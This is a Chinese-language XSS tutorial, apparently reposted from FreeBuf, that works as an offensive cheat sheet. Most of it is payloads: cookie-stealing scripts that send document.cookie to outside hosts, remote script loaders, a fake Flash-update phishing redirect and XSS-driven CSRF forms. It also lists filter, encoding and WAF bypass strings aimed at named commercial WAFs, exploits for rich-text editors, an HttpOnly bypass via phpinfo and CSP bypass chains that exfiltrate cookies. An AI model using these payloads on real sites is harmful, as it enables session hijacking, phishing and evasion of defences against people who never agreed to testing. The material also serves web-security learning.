珂技系列之一篇就够了——XSS进阶 – 作者:sonomon

一、 xss可以做哪些事情?

在没有限制的情况下,xss=html+JavaScript。凡是js+html能做的,xss都能做。
弹窗吓唬人,也是最常用的测试手段

<script>alert("你的电脑中病毒了")</script>
<script>prompt(2)</script>
<script>confirm(3)</script>

有时候不能弹窗,也可以变相用其他简单dom证明。

<script>console.log(3)</script>
<script>document.write(1)</script>

网页跳转,等同于任意url跳转

<script>window.location.href="https://www.baidu.com"</script>
<meta content="1;http://www.baidu.com/" http-equiv="refresh">

引入外部js,引入外部js是图方便或者有长度限制,是手段而不是目的。有时候因此需要短域名。

<script src=//z.cn></script>
<img src onerror=appendChild(createElement("script")).src="//xsshs.cn/aaaa">
<img src onerror=jQuery.getScript("//xsshs.cn/aaaa")>

盗取cookie,最常用手段,注意URL中+变成%2B

<script>window.location.href="http://2.2.2.2/?msg="+escape(document.cookie)</script>
<script>var img=document.createElement("img");img.src="http://2.2.2.2/?msg="+escape(document.cookie);document.body.appendChild(img);</script>

盗取其他信息,由于会访问一次xss平台服务器(攻击者服务器),所以可以顺便收集ip,user-agent,referer这些信息。

flash钓鱼,结合弹窗和url跳转进行钓鱼

<script>alert("您的flash版本过低,请更新您的flash版本"); window.location.href ="https://www.flash.cn/cdm/latest/flashplayer_install_cn.exe"</script>

用xss触发CSRF,论坛中可用来制作XSS蠕虫
GET

<img src="./pay.php?id=test">

POST

<form action="./index.php" method="POST">
<input type="hidden" name="id" value="1" />
</form>
<script> 
document.forms[0].submit();
</script>

JSON/POST

<html>
    <body onload="cors()">
        </div>
        <script>
            function cors() {
            var xhr = new XMLHttpRequest();
            payload = '{"id":"1"}';
            xhr.open("POST","./json.php", true);
            xhr.withCredentials = true;
            xhr.setRequestHeader("Content-type","application/json; charset=utf-8");
            xhr.send(payload);
            }
        </script>
    </body>
</html>
<script src="https://www.w3school.com.cn/jquery/jquery-1.11.1.min.js"></script>
<script>
$.ajax({
type:"POST",
dataType:"json",
contentType:"application/json",
url:"/json.php",
crossDomain:false,
data:'{"id":1}',
});
</script>

二、 不同位置的XSS利用方式

标签外

name=<script>alert(1)</script>

标签内

name="><script>alert(1)</script>
name=1" id=javascript:alert(1) autofocus onfocus=location=this.id xx

href中

name=javascript:alert(1)

CRLF

name=%0d%0a%0d%0a<script>alert(1)</script>

js中

name=</script><script>alert(1)</script>
name=';alert(1);//
name=';alert(1);'
name='-alert(1)-'
name=';};alert(1);function a(){a='

xml

<?xml version="1.0"?>
<a xmlns:a='http://www.w3.org/1999/xhtml'>
<a:body onload='alert(/XSS/)'></a>
<?xml version="1.0"?>
<html:html xmlns:html='http://www.w3.org/1999/xhtml'>
<html:script>alert(1);</html:script></html:html>

svg

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve">  <image id="image0" width="751" height="751" x="0" y="0"
    href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>alert(1)</script>
</svg>

三、 XSS绕过相关

<video src onerror=alert(1)>
<video为标签
onerror为事件
alert(1)为触发函数
弹窗

<script>alert(1)</script>
<script>prompt(2)</script>
<script>confirm(3)</script>
<script>console.log(3)</script>
<script>document.write(1)</script>

img标签,隐藏未加载图标

<img src onerror=alert(1)>
<img src=1 onerror=alert(1) hidden>

无法用圆括号

<script>alert`1`</script>
<video src onerror=a="%2",location="javascript:aler"+"t"+a+"81"+a+"9">
<video src onerror="javascript:window.onerror=alert;throw 1">

单引号,双引号,反引号互相替换

<img src onerror=appendChild(createElement(`script`)).src=`https://www.baidu.com`>
<img src onerror=appendChild(createElement('script')).src='https://www.baidu.com'>
<img src onerror=appendChild(createElement("script")).src="https://www.baidu.com">

http协议省略

<script src="//www.baidu.com"></script>

前后闭合

"><img src onerror=alert(1)//

空格填充
<html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html>
A位置可填充/,/123/,%09,%0A,%0C,%0D,%20
B位置可填充%09,%0A,%0C,%0D,%20
C位置可填充%0B,如果加双引号,则可以填充/**/,%09,%0A,%0C,%0D,%20
D位置可填充%09,%0A,%0C,%0D,%20,//,>
函数配合拼接

<video/src/onerror=top.alert(1);>
<video/src/onerror=top[`al`+`ert`](1);>
<video/src/onerror=self[`al`+`ert`](1);>
<video/src/onerror=parent[`al`+`ert`](1);>
<video/src/onerror=window[`al`+`ert`](1);>
<video/src/onerror=frames[`al`+`ert`](1);>
<video/src/onerror=content[`al`+`ert`](1);>
<body/onload=eval(alert(1));>
<body/onload=eval(`al`+`ert(1)`);>
<body/onload=open(alert(1));>
<body/onload=document.write(alert(1));>
<body/onload=setTimeout(alert(1));>
<body/onload=setInterval(alert(1));>
<body/onload=Set.constructor(alert(1))()>
<body/onload=Map.constructor(alert(1))()>
<body/onload=Array.constructor(alert(1))()>
<body/onload=WeakSet.constructor(alert(1))()>
<body/onload=constructor.constructor(alert(1))>
<video/src/onerror=[1].map(alert);>
<video/src/onerror=[1].map(eval('al'+'ert'));>
<video/src/onerror=[1].find(alert);>
<video/src/onerror=[1].every(alert);>
<video/src/onerror=[1].filter(alert);>
<video/src/onerror=[1].forEach(alert);>
<video/src/onerror=[1].findIndex(alert);>

赋值和拼接

<img src onerror=_=alert,_(1)>
<img src alt=al lang=ert onerror=top[alt+lang](1)>
<img src onerror=top[a='al',b='ev',b+a]('alert(1)')>
<img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>

创建匿名函数

<video/src/onerror=Function('ale'+'rt(1)')();>

加密函数(parseInt和toString互逆)

<video/src/onerror=top[8680439..toString(30)](1);>
<video/src/onerror=top[11189117..toString(32)](1);>

编码

<script>eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')</script>
eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))</script>
eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')
eval(atob('YWxlcnQoMSk='))
eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))
<img src onerror=&#97&#108&#101&#114&#116(1)>
<iframe src=&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>

过滤eval

<img src=x onerror=\u0065val(atob('YWxlcnQoMSk=')) >
<img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```">
<img src=x onerror="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```">

伪协议

<svg/onload=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<form action=javascript:alert(1)><input type=submit>
<a href=javascript:alert(123);>xss</a>
<iframe src=data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=>
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=></object>
<embed src=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==">

更换标签和事件,事件见https://www.runoob.com/jsref/dom-obj-event.html

<img src onerror=alert(1);>
<image src onerror=alert(1);>
<audio src onerror=alert(1);>
<video src onloadstart=alert(1);>
<svg onload=alert(1);>
<body onload=alert(1);>
<style onload=alert(1)>
<iframe onload=alert(1);>
<textarea onfocus=alert(1); autofocus>
<input onfocus=alert(1);>
<details ontoggle=alert(1);>
<div onclick=alert(1)>XSS
<h1 onclick=alert(1)>XSS
<anytag onmouseover=alert(1)>XSS
<a onmouseover=alert(1)>XSS
<button onclick=alert(1)>XSS
<xxxxxxxxx oncopy=alert(1)>XSS

仅限火狐IE的XSS

<marquee onstart=alert(1)>

四、 绕过waf拦截

安全狗

http://www.safedog.cn/index/privateSolutionIndex.html?tab=2<video/src/onerror=top[`al`%2B`ert`](1);>
http://www.safedog.cn/index/privateSolutionIndex.html?tab=2<video/src/onerror=appendChild(createElement("script")).src="//z.cn">

D盾

http://www.d99net.net/News.asp?id=126<video/src/onloadstart=top[`al`%2B`ert`](1);>
http://www.d99net.net/News.asp?id=126<video/src/onloadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`//z.cn`);>

云锁+奇安信waf

http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1<video/src/onloadstart=top[`al`%2B`ert`](1);>
http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1<video/src/onloadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`//z.cn`);>

五、 domxss

任意url跳转

var hash = location.hash;// document.location.href.split("?url=")[1];
if(hash){
    var url = hash.substring(1);
    location.href = url;
}

http://luoke.cn:81/1.html#http://www.baidu.com
http://luoke.cn:81/1.html#javascript:alert(1)

document.write

var hash = location.hash.slice(1);
document.write(hash);

http://luoke.cn:81/1.html#<img src=1 onerror=alert(1)>

innerHTML

<html>
<body>
 <script>
  function test(){
   var str = document.getElementById("text").value;
   document.getElementById("t").innerHTML = "<a href='"+str+"'>testLink</a>";
  }
 </script>
 <div id="t"></div>
 <input type="text" id="text"  value="" />
 <input type="button" id="s" value="url" onclick="test()" />
</body>
<html>

当有变量带入eval,setInterval,setTimeout,document.referrer,window.name中,都值得关注。

六、 富文本编辑器的XSS

富文本编辑器允许html标签,允许以html模式编辑,往往过滤了绝大部分有害标签
Ueditor
白名单过滤,只允许部分标签和部分元素
http://ueditor.baidu.com/ueditor/ueditor.config.js

1611648825_600fcf3948b408500bad7.png!small

但是可以用超链接带入javascript

<a href=javascript:alert(123);>xss</a>

UMeditor
和Ueditor差不多,但是超链接会强制以http开头。
查看源代码,发现jsp版本有反射XSS

1611648865_600fcf610335a9c06408e.png!small

1611648873_600fcf69ab0194af35278.png!small

/umeditor/jsp/getContent.jsp?myEditor=<script>alert(1)</script>
/umeditor/jsp/imageUp.jsp?callback=</script><script>alert(1)</script>

Kindeditor
Kindeditor采用黑名单正则过滤,效率不高,很容易被绕过
http://kindeditor.net/ke4/kindeditor-all.js?t=20160331.js

1611648909_600fcf8dee51257bb7f1c.png!small

最简单的是以<iframe/src=javascript:alert(58);></iframe>绕过

七、 phpinfo绕过http-only

xss常用于打cookie,因此http-only防止cookie被js获取就成了防护xss的手段之一。
setcookie第七个参数可以设置httponly

<?php  
setcookie("name", "admin", NULL, NULL, NULL, NULL, TRUE);
echo($_GET['echo']);

http://luoke.cn:81/test/1.php?echo=<script>alert(document.cookie)</script>
可以发现js无法读取cookie

1611648977_600fcfd131b0283e44f4f.png!small

此时,如果有个页面能将cookie反射出来的话,强迫用户访问这个页面,然后同域读取这个页面即可将cookie给传送走。
phpinfo就可以用于探测http-only的cookie

1611649005_600fcfed34ddc1bbb838f.png!small

原理为在有xss的页面,发起一个xhr请求,然后js读取返回页面中用正则匹配出HTTP_COOKIE的字段。

<script>
function createXmlHttp() {
    if (window.XMLHttpRequest) {
       xmlHttp = new XMLHttpRequest();               
    } else {
       xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
}
function getS() {
    var Url = 'http://luoke.cn:81/phpinfo.php';
    createXmlHttp();
    xmlHttp.onreadystatechange = writeS;
    xmlHttp.open("GET", Url, true);
    xmlHttp.send(null);
}
function writeS() {
    if (xmlHttp.readyState == 4) {
     var x = xmlHttp.responseText.match(/HTTP_COOKIE.+?<\/td><td.+?>([\w\W]+?)<\/td>/);
alert(x);   
    }
}
getS();
</script>

八、 csp绕过

csp是规定引用外部来源的浏览器策略,包括js/img/css等。
常见格式如下
Content-Security-Policy: default-src ‘self’ www.baidu.com; script-src ‘unsafe-inline’
default-src设定所有资源默认加载规则,self为仅允许同域,后面可以加域名白名单,none为包括同域在内所有资源都不行,*为允许所有资源加载,unsafe-inline为允许当前页面加载(如果没有这个当前页面也不允许直接执行js)。
其规律表格如下

1611649070_600fd02e888964a846be9.png!small

除了script-src 之外,还有img-src,object-src,frame-src标签等,其他比如’unsafe-eval’规则见https://www.cnblogs.com/heyuqing/p/6215761.html
当然,对XSS来说,最重要的就是script-src绕过,我们面对的拦截规则一般如下。
Content-Security-Policy: default-src ‘self’; script-src ‘self’ ‘unsafe-inline’;
1.php

<?php  
setcookie("name", "admin");
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';");
echo $_GET['echo'];

可以以header方式返回,也可以写在前端的meta标签里。

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' 'unsafe-inline'">

常用加载外部js手段失败
http://luoke.cn:81/test/1.php?echo=<script src=http://baidu.com/1.js></script>

1611649121_600fd0612d390f6682e44.png!small

当然,如果当前域允许非图片上传,可以上传一个内容为js的txt。
http://luoke.cn:81/test/1.php?echo=<script src=http://luoke.cn:81/ueditor/php/upload/file/20200416/1611196467.txt></script>
不过还是那句话,加载外部js是手段不是目的,直接尝试直接在本地执行js带出cookie。
http://luoke.cn:81/test/1.php?echo=<script>var img=document.createElement(“img”);img.src=”http://baidu.com/?msg=”%2Bescape(document.cookie);document.body.appendChild(img);</script>

1611649309_600fd11de63a08c0695a9.png!small

还是不行,其原因是这种带出cookie的本质是用document.createElement新建了一个img标签,以img的src请求拼接cookie。而我们规定了default-src ‘self’,使得所有资源都只能加载本地的,导致失败,同理此时发起xhr请求也会失败。
如果没有配置default-src,而是单独的配置img-src,script-src,style-src,我们可以找出漏网之鱼比如冷门的video来绕过。
Content-Security-Policy: script-src ‘self’ ‘unsafe-inline’;img-src ‘self’;style-src ‘self’

http://luoke.cn:81/test/1.php?echo=<script>var a=document.createElement(“video”);a.src=”http://baidu.com/?msg=”%2Bescape(document.cookie);document.body.appendChild(a);</script>

正确配置的前提下,可以用跳转来突破限制。
Content-Security-Policy: default-src ‘self’; script-src ‘self’ ‘unsafe-inline’;
http://luoke.cn:81/test/1.php?echo=<script>window.location.href=”http://baidu.com/?msg=”%2bescape(document.cookie)</script>

如果同域下A页面正确配置了,B页面错误配置并且有XSS漏洞,可以在B页面用iframe标签操作A页面。
test/1.php

<?php  
setcookie("name", "admin");
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';");

test2/2.php

<?php
echo $_GET['echo'];

http://luoke.cn:81/test2/2.php?echo=<script>alert(document.cookie)</script>
这样访问无cookie。

http://luoke.cn:81/test2/2.php?echo=<body><script>var iframe=document.createElement(‘iframe’);iframe.src=”../test/1.php”;document.body.appendChild(iframe);setTimeout(()=>alert(iframe.contentWindow.document.cookie),2000);</script></body>
这样可以弹出cookie

1611649447_600fd1a7675579840fcda.png!small

这样证明cookie只用于test/目录,且同域下的test2/目录可以通过iframe获取。然后突破A页面的csp传输走就行了。

http://luoke.cn:81/test2/2.php?echo=%20%3Cbody%3E%3Cscript%3Evar%20iframe%20=%20document.createElement(%27iframe%27);iframe.src=%22../test/1.php%22;document.body.appendChild(iframe);var%20img%20=%20document.createElement(%22img%22);setTimeout(()=%3Eimg.src=%22http://baidu.com/?msg=%22%2Bescape(iframe.contentWindow.document.cookie),2000);document.body.appendChild(img);%3C/script%3E%3C/body%3E

1611649478_600fd1c60666322c98cd7.png!small

格式化为

<body>
<script>
var iframe = document.createElement('iframe');
iframe.src="../test/1.php";
document.body.appendChild(iframe);
var img = document.createElement("img");
setTimeout(()=>img.src="http://baidu.com/?msg="+escape(iframe.contentWindow.document.cookie),2000);
document.body.appendChild(img);
</script>
</body>

其他方法见
https://xz.aliyun.com/t/5084

九、 XSS靶场

https://xss.tesla-space.com/
https://alf.nu/alert1
http://prompt.ml

来源:freebuf.com 2021-01-26 16:47:43 by: sonomon

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论